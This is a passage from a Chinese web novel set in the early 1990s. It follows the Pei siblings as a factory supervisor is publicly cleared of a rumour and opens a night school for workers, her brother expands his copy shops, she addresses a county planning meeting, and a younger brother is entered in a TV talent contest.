“文莹,这件事,委屈你了。”郭育铭站起身,绕过办公桌,语气中带着难得的诚恳与郑重,“你的价值,我比任何人都清楚。这封辞职信我没看见。你给我一点时间,我会给你,也给全厂一个交代。” 第二天下午,铭康工厂原本轰鸣的流水线破天荒地停了。 全厂一千多名员工,包括所有的管理层,被紧急召集到了厂房前的露天空地上。夏末的阳光依旧毒辣,但在场没有一个人敢抱怨,因为站在临时搭起的台上,拿着麦克风的,是平时极少露面、此刻面沉如水的老板郭育铭。 江富生站在管理层的队列里,心里莫名地有些发虚。 他转头看了看站在不远处的冯心媚,试图从她那里寻找一点安慰,但冯心媚只是死死盯着台上的郭育铭,眉头紧锁,脸色有些发白。 “今天把大家召集起来,是要宣布两件事。” 郭育铭的声音通过扩音器传遍了整个广场,带着一种不容置疑的威严。 “第一件事,关于最近厂区内流传的,有关于裴主管和我的恶劣谣言。” 此话一出,台下顿时鸦雀无声,上千双眼睛齐刷刷地看向了站在第一排、神色平静的裴文莹。 “我在这里,郑重向全厂通报。”郭育铭目光如炬,扫过每一个人的脸,“这纯属无稽之谈!是有人为了掩盖自己的违规行为,蓄意捏造、恶意中伤!” 他顿了顿,声音陡然拔高:“裴主管是靠着过硬的业务能力,把一车间的良品率做到了全厂第一!在刚刚结束的广交会上,她更是凭借出色的外语能力,为公司拿下了全年最大的一笔海外订单!她的成绩,在座的每一个人都有目共睹!我不允许任何人,用这种肮脏的手段,去诋毁一个为公司流血流汗的功臣!” 这番话掷地有声,像是一记重锤,砸碎了那些阴暗角落里的窃窃私语。 台下的女工们面面相觑。 广交会上的事,因为有同去的业务员证实,早就传开了。她们之前之所以愿意相信谣言,更多的是出于嫉妒。现在老板亲自背书,那些关于“靠美色上位”的谣言立即不攻自破。 “第二件事。”郭育铭没有给众人反应的时间,他的目光像探照灯一样,直直地打在了江富生的身上。 “采购部经理江富生,在任职期间,多次利用职权之便,在工作时间用金钱和虚假承诺,哄骗、骚扰厂里的年轻女工。” 江富生的双腿猛地一软,脸瞬间变成了猪肝色。他低着头,恨不得找个地缝钻进去。 “铭康是正规台资企 业,不是藏污纳垢的地方!不论你是什么背景,谁敢把黑手伸向流水线上的女工,谁就给我滚蛋!”郭育铭指着江富生的鼻子,毫不留情地宣布,“江富生严重违反公司纪律,从今天起,撤销采购部经理职务。至于那些参与散播谣言的主使者,公司一旦查实,严惩不贷!” 最后一句话,郭育铭是有意无意地看了一眼冯心媚的方向。 冯心媚吓得浑身一哆嗦,瞬间低下了头,冷汗都冒出来了。她知道,郭育铭这是在敲打她。 几秒钟后,台下爆发出了掌声。 尤其是那些曾经受到过江富生骚扰、却敢怒不敢言的女工们,此刻看着他像落水狗一样,眼里都闪烁着解气的泪光。 风波平息后,郭育铭为了安抚裴文莹,私下里提出给她涨薪百分之三十,并许诺有机会送她去国外进修。 裴文莹接受了涨薪,这毕竟是她应得的。但她心里很清楚,这场胜利,并不能解决根本问题。 江富生被降职了,以后可能还会有李富生、王富生。只要流水线上的女孩们依旧贫穷、盲目、对外界一无所知,那些看似天上掉馅饼的诱惑,就永远会有市场。 小玉在江富生被开除后,曾私下里偷偷找过裴文莹。 “裴主管……”小丽低着头,眼眶红红的,“其实我知道江经理不是好人。可是……在流水线上真的太累了。我只想活得轻松一点,我错了吗?” 裴文莹看着小玉那双充满迷茫和渴望的眼睛,心里泛起一阵深深的无力感。 她轻轻叹了口气:“小玉,想过好日子没错。但这个世界上,没有任何人能白白给你轻松的生活。一旦你习惯了伸手要钱,你就会失去站着挣钱的能力。等他们抛弃你的时候,你连退路都没有。” 小玉似懂非懂地流下了眼泪。 那天晚上,裴文莹在宿舍里思考了很久。 女工们之所以容易受骗,归根结底,是因为她们的认知被困在了厂区里。她们看不到除了流水线工作和依附男人之外的第三条路。 授人以鱼,不如授人以渔。 于是,在周末,裴文莹向尤厂长申请,借用了厂里的废弃仓库作为场地。她没有搞什么普法讲座,而是办起了一个女工夜校。 夜校完全免费。教的东西很杂:有最基础的识字和算术,有基础的英语对话,还有如何看懂复杂的工资单,以及如何维护自己的劳动权益。 起初,来听课的人寥寥无几。大家上一天班已经累得半死,谁还有精力去学这些? 但裴文莹没有放弃。她自掏腰包买了黑板和粉笔,每晚雷打不动地站在那里讲课。 慢慢地,神奇的事情发生了。 那个曾经被江富生哄骗的小玉,有一天晚上,悄悄拿着一个破旧的笔记本,坐在了最后一排。 一个月后,一个叫梁芳的女工,在下课后找到了裴文莹。 梁芳是个因为家里交不起学费而辍学的高中生,眼神里总是透着一股不甘心的倔强。 “周主管。”梁芳攥着手里的笔记本,眼神发亮,“我想报考深城大学的自考大专,我想学财务。可是我英语底子太差,你能……你能帮帮我吗?” 裴文莹看着梁芳,仿佛看到了初来深城时的自己。 她笑了,重重地点了点头。 30. 第 30 章 西照大学的南门外,一家新开的无名小店最近成了学生们口耳相传的秘密基地。 这间不过十来平米的铺子,玻璃门上用红漆歪歪扭扭地写着:复印5分,打印2毛。门口那台七成新的复印机,每天像个不知疲倦的齿轮,咔哒咔哒地吞吐着成百上千张纸。 裴文龙正熟练地将厚厚一沓《高等数学》讲义送进进纸口。 “老板,这速度够快的啊!”一个戴着厚底眼镜的男生递过两张皱巴巴的零钱。 “拿着,祝你考试顺利。”裴文龙笑眯眯地把装订好的资料递过去。 在外人看来,这就是个不起眼的糊口小买卖。可实际上,一到期末考试季,这台机器每天能复印上万页。刨去房租水电和纸张成本,裴文龙一个月能净赚三千多块。这在人均工资不到六百元的九十年代初,无异于一台小型的印钞机。 深夜,复印店的卷帘门拉下一半。裴文龙和师弟丁大湖坐在昏暗的灯光下,桌上铺着一张西照市的地图。 “大湖,你看这里。”裴文龙的手指重重地点在地图的另一端,“西照师范大学。这里的学生每天要写教案、印讲义,需求量绝对不比咱们这儿小。” 丁大湖眼睛亮了:“龙哥,你的意思是……” “这种只靠机器和人工的生意,没有技术门槛。咱们能做,别人很快也能做。唯一的办法,就是趁别人还没反应过来,抢先占领地盘。”裴文龙抬起头,眼神里透着果决,“你去师大门口盘个店面,机器和第一批纸的本钱我来出。咱们把这套模式复制过去。” 丁大湖激动得连连点头。 果然,分店开业不到两个月,生意便火爆到让丁大湖连吃饭的时间都没有,每月的利润迅速与总店持平。 看着抽屉里越来越厚的现金,裴文龙知道,是时候回旗山县见一见师傅了。 旗山县,梅江边的一家老字号酒楼里。 裴文龙端起一杯白酒,恭恭敬敬地敬了对面的周群雄一杯。他将自己在西照市大学城跑通的“复印店连锁”模式,毫无保留地讲给了师傅听。 “师傅,打字机修理这行迟早要被淘汰。但大学城里复印、打印的市场才刚刚起步。”裴文龙目光灼灼,“我想着,等资金再宽裕点,就让修理厂那些没出路的师弟们,去北护、去省城的各个大学开分店。本金我来垫,大家有钱一起赚。这个蛋糕太大,咱们旗山县的人都不一定吃得下!” 周群雄端着酒杯的手微微一顿,看着眼前这个曾经老实巴交的大徒弟,眼神里满是震惊与欣慰。 “文龙啊,你有眼光!跳出了修机器的死胡同,反倒蹚出了一条新路。”周群雄竖起大拇指,将杯中酒一饮而尽,“当年你跟我学手艺,如今你反哺师门。师傅服你!” 师徒俩推杯换盏,几杯酒下肚,周群雄的脸色微微泛红,他压低了声音,语气里透着一股神秘的亢奋。 “文龙,你还记得当年,我和你妹妹文莹在县城边上买的那块烂泥地吗?” 裴文龙一愣:“当然记得。那时候莹姐儿跟中了邪一样,非要把手里的钱全砸进去。还多亏了师傅您帮忙跑手续。” “我那是托了你妹妹的福啊!”周群雄一拍大腿,激动得夹烟的手都在抖,“县里马上要搞大动作了!旗山新区规划图出来了,咱们那块地,正正好划在了新区核心商圈的红线里!现在那地价,已经翻了五六倍了!天天有大老板追着我屁股后面开价!” 裴文龙倒吸了一口凉气。虽然他现在一个月能赚几千块,但在这种时代红利面前,那点钱根本不够看。 “那……莹姐儿怎么说?”裴文龙问。 周群雄叹了口气:“她让我先种树,不要卖。说等她回来再商量。” 他又琢磨了一下问:“不卖我知道,但为什么要种树?” 裴文龙也说不出个所以然来。如果文莹在,肯定要告诉他,种树是为了不让土地闲置,避免被收取闲置费,甚至被无偿收回土地使用权的风险。 周群雄吐出一口烟圈,感叹道:“文龙,你们裴家祖坟是不是冒青烟了?怎么一个比一个厉害?” 裴文龙不好意思地笑笑,和师傅又碰了一杯。马上要过春节了,妹妹说要回来,现在兄弟俩再加上王建国,天天数着她回家的日子倒计时。 XXX 春节刚过,空气中还残留着鞭炮的硝烟味。 旗山县政府的一间大会议室里,气氛庄重而严肃。新上任的县委书记,为了摸底全县的经济基本盘,特意召集了一场关于“旗山县发展战略与规划”的务虚座谈会。 受邀参会的,清一色都是县里国营大厂的厂长、知名民营企业家。 而在这群五十岁上下的老江湖中,坐在会议桌最末端的两个人,显得极其突兀。 一个是穿着灰夹克的社会老油条周群雄;另一个,则是一个看着不过二十出头、仿佛还在念大学的年轻女孩。 开会前,周群雄就紧张地拽着裴文莹的袖子叮嘱:“文莹,咱们就是因为手里握着新区核心地块才被邀请来陪太子读书的。这种神仙打架的局,咱们只带耳朵不带嘴,摸摸政府底牌就行,千万别强出头。” 裴文莹点头答应。自己年纪轻,在这个场合多听多看少说。 会议开始。郝书记坐在主位上,端着茶杯,面带微笑:“今天咱们不谈具体项目,只务虚。旗山县现在处在发展的十字路口,是继续吃老本,还是走一条新路?希望大家畅所欲言。” 在座的厂长们纷纷发言,说的无非是希望县里加大对工业厂房的补贴、修缮老城区的道路等中规中矩的套话。 郝长江听得有些意兴阑珊。他放下了茶杯,目光不经意间扫过了长桌末尾那一老一少。 那两人从头到尾一言不发,老的神色紧绷,小的倒是坐得笔直,眼神清明,甚至还带着几分审视的意味。 郝长江觉得有些意思,他指了指会议桌的方向:“我看那边还有两位同志没发言。不如就按顺序,大家都谈谈想法吧。” 周群雄的冷汗“唰”地一下就下来了。他正准备站起来随便糊弄两句场面话,身旁的裴文莹却已经不疾不徐地站起了身。 裴文莹今天穿了一件米色的风衣,内搭一件黑色的高领针织衫,一头乌黑的长发用一根素色的发圈随意束在脑后。她没有佩戴任何首饰,整个人如同一枝站在早春寒风里的白梅,清冷、利落。 “郝书记,各位领导、前辈,大家好。”裴文莹的声音清澈笃定,没有一丝怯场,“我叫裴文莹。是解放路沿江地块的所有人之一。” 话音刚落,会议室里瞬间陷入了死一般的寂静。 所有正在喝茶、看文件的厂长们,齐刷刷地抬起了头。 “她就是那个买下荒地的人?” “怎么是个这么年轻的小姑娘?!” “当初政府下 了文件,未开发的闲置土地要强制收回,听说她在这之前就种上了树,……这姑娘这么精明?” 面对众人震惊、疑惑甚至带着一丝敌意的审视,裴文莹神色坦然。 郝长江也被这巨大的反差惊到了,他身子微微前倾,嘴角露出了一抹颇有兴致的笑意:“哦?原来你就是那个让国土局头疼了半个月的小姑娘。看来今天会议上有新鲜血液了,说说吧,你对旗山的未来,有什么看法?” 周群雄在桌子底下拼命踩裴文莹的脚,暗示她赶紧说两句“听从组织安排”的套话坐下。 但裴文莹迎上了郝长江的目光,朗声开口。 “我在深城打工时,看到沿海地区的发展日新月异。但旗山县地处内陆,要想靠传统工业追赶特区,并不现实。我们必须寻找差异化的优势。” 她略微停顿,清脆的声音在会议室里回荡。 “旗山的优势,在山水,在底蕴。除了工业,我们为什么不把目光投向大旗山的旅游资源?我们有保存完好的原始生态,还有名人故居和春田起义纪念馆这种独一无二的红色资源。将生态游与红色旅游结合,打造一条文旅产业链,这是子孙后代都能吃到的红利。” 几位老厂长皱起了眉头,有人忍不住低声反驳:“旅游业见效慢、风险大,哪有办厂子来钱实在!” 裴文莹没有理会底下的杂音,她直视着郝长江,抛出了最具杀伤力的一击: “当然,旅游业要落地,首先要打破地理壁垒。要想富,先修路。旗山县至今没有一条连通省会的高速公路,这不仅制约了游客的引入,也限制了本地工业产品的输出。” “如果县里能下决心,推动修建一条直通省会的高速公路,结束旗山交通闭塞的历史,那么无论是旅游还是招商引资,都将迎来真正的爆发。” 周群雄在旁边听得目瞪口呆。探索差异化发展、红色旅游、建高速公路……这特么是一个二十出头的打工妹该操心的事吗?这简直是在给县委书记上课啊! 他二十多岁的时候还在乡下四处流窜,这姑娘竟然敢在一群大佬面前指点江山! 整个会议室鸦雀无声。 郝长江盯着裴文莹,眼中闪过一抹难以掩饰的锐利与震惊。 他刚调任旗山不久,心里其实一直酝酿着一盘大棋——依托红色资源搞旅游,并借此向省里申请专项资金修建“旗永高速”。这是他施政的核心纲领,目前只在极小范围的核心班子里讨论过。 没想到,今天竟然被一个二十岁出头的小姑娘,一语道破了天机! 郝长江沉默了良久,突然带头鼓起了掌。 “好!”郝长江环视众人,声音洪亮,“各位,不要总盯着眼前的一亩三分地。这小姑娘的眼界和格局,值得我们在座的每一个人深思!” 会议结束前,郝长江做了一个出人意料的决定。 “为了更好统筹新区的建设,县里决定在下个月成立‘旗山新区顾问委员会’。在座的各位企业负责人,都将是委员会的班底。” 郝长江的目光穿过长长的会议桌,落在了裴文莹的身上,语气里带着不容拒绝的威严与期许。 “裴文莹同志,你也一并加入。我希望在未来的顾问委员会里,能经常听到你这种犀利而超前的声音。” 二十一岁的裴文莹,就这样在众人复杂的目光中,成为了旗山新区最高智囊团里,最年轻的一员。 31. 第 31 章 旗山县一中传达室,刘杰熟练地给看门大爷塞了包香烟,换来了借电话的特权。 他从兜里掏出一张皱巴巴的纸片,上面记着一串广州的电话号码。随着转盘一圈圈拨完,听筒里传来冗长的“嘟嘟”声。 “喂?哪位?”电话那头传来夹杂着粤语口音的声音。 “周导!是我,刘杰啊!去年在广州拍《汉武大帝》那个!”刘杰紧张得声音都变了调,生怕那头的人把电话挂了。 “哦,是你小子啊。”老周在那头笑了一声,“怎么,有什么事?” 刘杰小心翼翼地打听:“周导,咱们那部电影……快出来了吗?” 电话那头顿了一下,随即传来老周爽朗的笑声:“哪有那么快!电影要剪辑、配音、做后期,还要等院线排片。少说也得等明年的暑期档了!” “还要等这么久啊……”刘杰的肩膀瞬间垮了下来,语气里是掩饰不住的失落。 自从去年夏天在广州剧组里混了十几天,又赚了五百多块钱后,刘杰的心就彻底野了。他在县一中里虽然是个不好好学习的混日子大王,但每当走在校园里,他总觉得自己的灵魂已经不属于这个闭塞的小县城了。他是个演员,是有过台词、上过大银幕的人! 他做梦都盼着电影上映那天,包个场请全班同学去看,让他们看看自己在大银幕上的光辉形象。 老周似乎听出了他的失落,随口安慰道:“快了,快了,别急。对了,上次在片场给你们拍的照片已经洗出来了。导演怕造型提前泄露,带妆的不能给你,但你们穿着自己衣服在片场休息时拍的照片,我过两天让人给你邮过去。” “真的?!谢谢周导!”刘杰的眼睛瞬间又亮了起来,刚才的失落一扫而空。 挂了电话,刘杰哼着流行歌曲,脚步轻快地回了教室。 一周后,一个盖着广州邮戳的牛皮纸信封寄到了旗山县一中。 午休时间,刘杰躲在操场看台的角落里,小心翼翼地撕开了信封。 里面是七八张五寸的彩色照片。但在这些照片中,他的目光瞬间被一张单人照牢牢锁住。 那是裴文韬。 照片背景是杂乱无章的片场,到处是电线和灯架。裴文韬穿着条纹T恤,双手插在兜里,正转头看向镜头外(刘杰知道,那是导演在叫他)。 没有化妆,没有打光,甚至连构图都不讲究。可是,照片里的裴文韬,整个人就像是自带了一种难以名状的磁场。他微微蹙着那双清寒的眉眼,眼神中透着一股超出年龄的孤冷与锐利,仿佛周围的喧嚣与他毫无关系,他生来就该站在高处。 刘杰盯着照片看了很久,直到上课铃声响起,他才将那张照片偷偷塞进了兜里。 作为裴文韬的死党兼铁粉,刘杰太清楚这张脸的杀伤力了。 第二天,刘杰把其他的剧照拿给裴文韬看。 谁知裴文韬只是淡淡瞥了一眼,连拿都没拿,直接吐出两个字:“无聊。”然后便低头继续解他的数学题去了。 刘杰心碎了一地,暗自咬牙。这家伙,明明可以靠脸吃饭,偏偏要靠才华,简直暴殄天物! 周末回家,刘杰瘫在沙发上,百无聊赖地按着电视遥控器。 就在他准备关掉电视去睡午觉时,省台突然切入了一则花哨的广告。 激昂的电子音乐响起,屏幕上闪过几个穿着运动服、笑容阳光的男孩,紧接着是一行醒目的大字:“第一届西照杯全省中学生风采大赛!寻找最具活力的校园之星!” 画外音极具煽动性:“只要你年龄在十四到十七岁,只要你敢于展现自我!初选只需寄来一张个人生活照,就有机会登上大舞台!” 刘杰撇了撇嘴,正准备换台。然而,屏幕下方突然滚动的红底黄字,像是一道闪电,瞬间击中了他的视线。 “冠军奖金:10000元;亚军:5000元;季军:3000元。优秀选手将签约省台,成为特约外景主持!” 一万块钱!刘杰猛地从沙发上坐了起来,眼睛瞪大。 他爸县政府正科级干部,现在工资一个月也不过几百块。一万块钱,对一个高中生来说,简直就是一笔巨款! “我去试试?”这个念头一旦冒出来,就像野草一样疯长。 反正初选只要寄照片,就算选不上,也没人知道,不丢人;万一选上了……那可就是名利双收啊! 他像一阵风似地冲回卧室,拉开抽屉,翻出自己最好看的一张艺术照。刚准备往信封里塞,眼角余光瞥见了压在书本底下的那张裴文韬的片场抓拍。 刘杰的动作顿住了。 他看了看自己的照片,又看了看裴文韬的照片。 不得不承认,在裴文韬那种浑然天成的孤冷气质面前,自己这张抹了发胶、刻意摆拍的艺术照,就像是暴发户和贵族的区别。 “好兄弟,有财一起发!” 刘杰没有丝毫犹豫,从笔筒里抽出一支钢笔,在两张照片的背面分别写下了两人的名字、年龄和学校,联系方式统一留了自己家的座机号码。 他把两张照片一起塞进大信封,贴上邮票,做贼一样溜下楼,将信封塞进了街角的绿色邮筒里。 直到听见信封落入邮筒底部的“扑通”声,刘杰才猛然意识到一个小问题:他没告诉裴文韬! 以裴文韬那种性格,如果知道自己擅作主张拿他的照片去报名选秀,绝对会和他大吵一架。更何况,裴文韬的姐姐可是个母老虎啊,她要是知道了,自己这层皮都保 不住! “算了算了,全省那么多人报名,哪有那么容易被选上。估计在信件室就当垃圾扔了。”刘杰自我安慰了一番,决定把这个秘密烂在肚子里。 湘省电视台,三楼临时腾出来的信件处理室。 “中学生风采大赛”的广告播出后仅仅一周,从全省各地寄来的报名信件就像雪片一样,将信件室淹没了。那个年代的孩子们对“上电视”有着狂热的执念,尤其是看到那一万块钱的巨额奖金,连带着家长都疯狂了。 为了处理这堆成山的信件,栏目组特意把全台的工作人员都找来帮忙拆信、筛照片。 “天呐,这也叫风采?这明明是搞笑吧!” 李丹妮揉了揉发酸的眼睛,随手将一张照片扔进旁边的废纸篓。照片上是一个把头发梳成大背头、穿着大人西装、表情油腻的初中生。 “别抱怨了,赶紧筛。导演说了,第一轮海选只要看起来顺眼、五官端正的就行。”旁边的组长打了个哈欠。 李丹妮叹了口气,机械地拿起裁纸刀,划开下一个牛皮纸信封,倒出了里面的两张照片。 第一张,是一个笑得露出两颗大门牙、看起来十分机灵的男孩。李丹妮看了一眼背面的信息“刘杰,15岁”,顺手把他归到了“待定”的那一摞里。 接着,她拿起了第二张照片。 当目光触及照片那一瞬,李丹妮的手停住了。 那是一张背景极其杂乱的生活照,连焦距都有些不准。照片里的男孩穿着普通的条纹T恤,没有摆任何刻意的姿势,只是微微侧着头,眼神清寒地望着镜头外。 但就是这样一张连业余都算不上的废片,却硬生生拍出了一种让人无法移开视线的质感。男孩的骨相极佳,剑眉星目中透着一股与周遭环境格格不入的清冷与孤高。那种眼神,不像是小县城里为了上电视而挤破头的毛头小子,倒像是某个落难的贵族,对周遭的喧嚣充满着不屑。 “这……这也太好看了吧?”李丹妮忍不住喃喃自语。 旁边的同事听到动静凑了过来,目光一落到照片上,倒吸了一口凉气:“我去!咱们省还有这等姿色的中学生?这气质,比港台那些刚出道的明星还要绝啊!” 周围的几个实习生和编导纷纷围了过来。 “这绝对是块未经雕琢的璞玉!就冲这张脸,就算他在台上什么都不干,收视率也绝对稳了!”编导激动地一把将照片抢过去,翻看背面的信息,“裴文韬,旗山县一中……马上给他家打电话!通知他这周末来省城参加线下海选初试!” 李丹妮看着编导拿着照片急匆匆跑向导演办公室的背影,心跳都漏了半拍。她有一种强烈的预感,这个叫裴文韬的男孩,一定会成为这场比赛最大的黑马。 32. 第 32 章 周末的清晨,旗山县政府大院。 刘杰挂断家里的座机电话后,整个人像打了鸡血一样,在客厅里兴奋地转了三个圈。 他竟然通过了初选!而且,省台的人在电话里千叮咛万嘱咐,一定要让他带着同学裴文韬一起去省城试镜。 兴奋过后,一个巨大的难题摆在了刘杰面前——怎么把裴文韬弄去省城? 他借口去省城姑姑家玩,跟父母要了路费,然后直接杀到了西照市,摸进了裴文龙开的“旗山文印店”。 刚推开店门,就看见裴文韬正坐在一台复印机旁,对着手边一本厚厚的《高中物理竞赛真题解析》做题,连眼皮都没抬一下。 “老韬!”刘杰做贼心虚地凑过去,一把摘掉他的耳机,“别看书了,走,哥们带你去个好地方见见世面!” 裴文韬微微皱眉,重新把耳机戴上:“不去。没兴趣。” “哎呀你听都没听,怎么就知道没兴趣?”刘杰急了,拽着裴文韬的胳膊,“省城!咱们去省城玩一天,路费我包了!” 裴文韬终于抬起眼,像看傻子一样看着他:“去省城干什么?到处都是人,太吵了,我不去。” “不吵,不吵,”刘杰眼珠子一转,“去买磁带!省城刚开了一家音像批发城,里面全是原装进口磁带!不比广州的差!” 听到“磁带”三个字,裴文韬翻书的手终于停顿了一下。他居然是个摇滚乐迷,在闭塞的小县城里,这是他为数不多的爱好之一。 “真的?”裴文韬狐疑地看着他,“你哪来的钱?” “我妈刚给我的零花钱!”刘杰拍了拍胸脯,“走吧,陪我跑一趟,我请你买两盘!” 裴文韬犹豫了片刻,看了一眼店里正忙着给学生装订资料的大哥裴文龙。裴文龙头也没抬地挥挥手:“去吧去吧,别成天闷在店里看书,跟同学出去转转,注意安全啊!给你二十块钱,别让同学请。” 既然大哥都发话了,裴文韬合上书,站起身:“走吧。” 上了开往省城的大巴车,裴文韬看着窗外飞速倒退的风景,突然转头看向坐在旁边、眼神飘忽的刘杰。 “老刘,”裴文韬的声音清冷,“你是干了什么缺德事了?从上车起,你这腿就抖个不停。” 刘杰浑身一僵,干笑了两声:“我这是激动的!” 裴文韬眯了眯眼睛,盯着他看了几秒:“你最好没有。要是有,我就把你从车窗扔下去。” 刘杰咽了口唾沫,心虚地缩了缩脖子。 两个小时后,大巴车驶入省城。 刘杰七拐八绕,带着裴文韬来到了省电视台的大院外。看着那栋挂着大红横幅——“第一届中学生风采大赛海选现场”的办公楼,裴文韬的脚步硬生生地停住了。 “老刘,”裴文韬转头看向身旁的死党,“这就是你说的,全省最大的音像批发城?” “那个……老韬,你听我解释!”刘杰额头的冷汗“唰”地一下就下来了,死死抱住裴文韬的胳膊,“来都来了!你就当陪我进去溜达一圈!里面有空调!” “滚。”裴文韬懒得听他废话,甩开他的手就要转身走人。 “老韬!韬哥!你是我亲哥!”刘杰见势不妙,直接耍起了无赖,死死拽着裴文韬的书包带,声嘶力竭地压低声音喊道,“冠军奖金一万块啊!一万块!” 两人在电视台大院的梧桐树下拉拉扯扯,像两根缠在一起的藤蔓。 “哎哎哎!那边的两个同学!是来参加海选的吗?别在门口闹,赶紧进去领表!”传达室大爷探出头喊了一声。 两人赶紧松开手,裴文韬理了理被扯皱的条纹衬衫,刚低下头,一个胸前挂着牌子的年轻女人正巧抱着一摞资料从大楼里走出来。她不经意地瞥了门口一眼,脚步一顿,手里的资料差点掉在地上。 “你……你是裴文韬?!”女编导惊喜地跑了过来,眼睛直勾勾地盯着裴文韬的脸,“王导!王导快出来!照片上那个男生来了!” 裴文韬还没反应过来怎么回事,几个工作人员就从大厅里涌了出来,将他团团围住。 “哎呀真人比照片还要上镜!” “快快快,带去一号演播厅候场!” 裴文韬被这突如其来的热情搞得一头雾水。他皱着眉头往后退了半步,试图从人群中寻找罪魁祸首。 而此时的刘杰,正躲在人群外围,假装研究墙上的黑板报,极力降低自己的存在感。 “刘、杰!”裴文韬咬牙切齿地从齿缝里挤出两个字,“你给我报的什么名?” “风……风采大赛。”刘杰缩着脖子,视死如归地喊了一嗓子,“老韬,既来之则安之!我也没想到你的魅力这么大!一张照片就过了海选!” 裴文韬来不及说什么,被几个热情的编导半推半拽地带进了海选大厅。 演播厅舞台铺着红地毯,三台笨重的摇臂摄像机架在台下,评委席上坐着三个由电视台领导和资深编导充任的评委。 裴文韬被安排坐在候场区的塑料椅上。他面无表情地看着台上正在进行的才艺展示,紧锁眉头。 九十年代初的中学生,极少有接触专业艺术培训的机会。台上那些满怀明星梦的孩子们,表演质朴得让人尴尬。 一个梳着马尾辫的女生,正声情并茂、手舞足蹈地朗诵着舒婷的《致橡树》,每一个重音都伴随着夸张的仰头动作。 紧接着上台的男生,穿着一件宽大的西装,紧张得同手同脚,走调走到外婆家,唱到高潮时甚至还破了音。 评委席上的三个考官强忍着笑意,机械地在纸上打着分,眼神疲惫。电视台想搞一档年轻人的商业节目拉赞助,可这些参赛者的电视表现力,实在撑不起收视率。 “下一位,1504号,裴文韬。” 听到自己的名字,裴文韬认命地站起身,双手插在兜里,步伐散漫地走上了台。 当他站到聚光灯下的那一刻,评委席上的三个人不约而同地放下了手中的笔。旁边操控主摄像机的师傅,更是下意识地把镜头推了个特写。 监视器那狭小的方形屏幕里,出现了一张完美契合镜头的脸。 那张脸未经任何粉饰,甚至还透着几分疲倦。但他剑眉星目,骨相极其立体,最关键的是,他的眼神中没有其他选手那种讨好的紧张感,反而透着一股属于少年的清寒与孤冷。 这种在广州片场被香港导演一眼相中的“帝王气”,此刻在简陋的省台演播厅里,降维打击般地抓住了所有人的眼球。 中间的男导演清了清嗓子,语气温和了许多:“裴文韬同学,你准备展示什么才艺?唱歌还是跳舞?” “都不会。”裴文韬语气平淡,没有一丝波澜。 导演愣了一下:“一点都不会?那朗诵一段?” “我普通话不标准。”裴文韬只想赶紧走个过场,好下台把刘杰揍一顿。 台下传来一阵细微的骚动。那个年代,敢在评委面前这么拽的选手,实在罕见。 左边的女编导李丹妮显然不想放过这个绝佳的苗子,她转了转手里的笔,从桌上拿起一份用于测试播音腔的新闻稿,递给旁边的工作人员:“拿上去,让他照着读一段。只要咬字清晰就行。” 工作人员将一页纸递到裴文韬手里。 裴文韬接过来,目光随意地扫了一眼。这是一段关于“改革开放与青年责任”的枯燥政论稿。 他没有矫揉造作地拿腔拿调,也没有刻意表现。他只是站在那里,目光穿透稿纸,看向黑洞洞的摄像机镜头,用一种极其平稳、冷冽,甚至带着一 丝事不关己的漠然语调,将那段枯燥的文字读了出来。 没有感情,全是冷漠。 但偏偏,配合着他那张棱角分明的脸,这种毫无波澜的冷淡,竟在监视器里产生了一种奇妙的化学反应——像极了某些香港电影里那些背负秘密的沉默少年,带着一种致命的吸引力。 摄像师傅激动地在耳麦里对导演喊:“导演!这小子太上镜了!这张脸只要放在电视上,哪怕他一句话不说,底下那群小女生都能把咱们台的电话打爆!” 导演盯着监视器,摸了摸下巴。在这个刚刚起步的娱乐时代,才艺可以包装,但这种与生俱来的明星气场和镜头感,是老天爷赏饭吃。 “好,可以了。”导演打断了裴文韬的朗读,拿起笔在晋级表上重重地画了一个圈,然后按下了面前的麦克风。 “裴文韬同学。你的外形和镜头感非常出色。为了保证节目的最终效果,我们决定给你特约选手的资格。初赛和周赛的流程你不用参加了,直接来参加暑假的电视总决赛,配合台里拍几组宣传海报就行。” 全场哗然。在这个还需要靠唱歌跳舞艰难拼杀的海选里,竟然有人靠着读了一段毫无感情的报纸,就拿到了直通总决赛的特权? 裴文韬微微皱了皱眉。他看着手里那张被塞过来的“直通卡”,不仅没有一丝喜悦,反而觉得这是一个巨大的麻烦。他将卡片随手塞进书包里,头也不回地走下了台。 裴文韬的海选结束得莫名其妙,但刘杰的海选却是一场结结实实的苦战。 为了能拿到晋级名额,刘杰在台上卖力地演唱了一首《水手》。虽然高音部分有些吃力,但他胜在台风活泼,笑容极具感染力,加上一张讨喜的圆脸,最终勉强拿到了一张通往周赛的待定卡。 回旗山县的大巴车上。 刘杰一脸谄媚地剥了一个橘子,双手奉到裴文韬面前:“老韬,韬哥!今天辛苦了!小弟无以为报,等回了县城,上次我在广州淘的那些原装打口带,任你挑五盘!算是小弟的赔罪!” 裴文韬靠在车窗上,连眼睛都没睁:“十盘。少一盘,我就把这事告诉我姐。” “成交!”刘杰虽然心疼得滴血,但一想到裴文莹,还是毫不犹豫地答应了。 在此后的几个月里,为了能继续参与这场在全省掀起热潮的选秀比赛,刘杰开始了艰苦卓绝的奋斗。 他先是动用了三寸不烂之舌,忽悠父母说这是省级素质教育的汇报演出,如果不参加会被扣学分,成功骗到了周末去省城的路费。 由于裴文韬是“特约选手”不用比赛,栏目组为了稳住这个“门面担当”,特意给刘杰行了方便,甚至暗示只要他能保证裴文韬暑假准时来参加总决赛,就不会在周赛里轻易淘汰他。 于是,在接下来的淘汰赛里,刘杰成了最特殊的存在。 他的才艺虽然平庸,但每次当他快要被淘汰时,总会神奇晋级。 靠着这种“买椟还珠”般的连带效应,刘杰竟然一路跌跌撞撞地倒在了最后一场周赛,但依然拿到了一张“总决赛亲友团”的门票。 当刘杰捏着那张门票,坐在大巴车时,终于想明白,自己在这场比赛里能活到现在,唯一的价值,就是作为裴文韬这个“大魔王”的搬运工。 可是,文韬什么才艺都不愿意表演,总决赛可是要在全省人民面前直播的啊!那家伙要是当场罢工,或者直接在台上冷脸走人,电视台的人非扒了刘杰的皮不可。 更可怕的是,如果这事闹得太大,传到了深城……裴文莹要是知道自己又一次撺掇她弟弟去搞这种不务正业的破事,也会扒了他的皮! 刘杰激灵灵地打了个寒颤。他愁眉苦脸地看着窗外的夜色,深深地叹了口气。 这一万块钱,真是拿命在搏啊! 33. 第 33 章 六月的深圳,潮湿闷热。 裴文莹正站在铭康电子厂的车间里,额角沁着薄汗,视线落在眼前的一号生产线上。这是铭康为了争取更高利润率,刚刚从德国引进的一条半自动化高频精密焊接线。 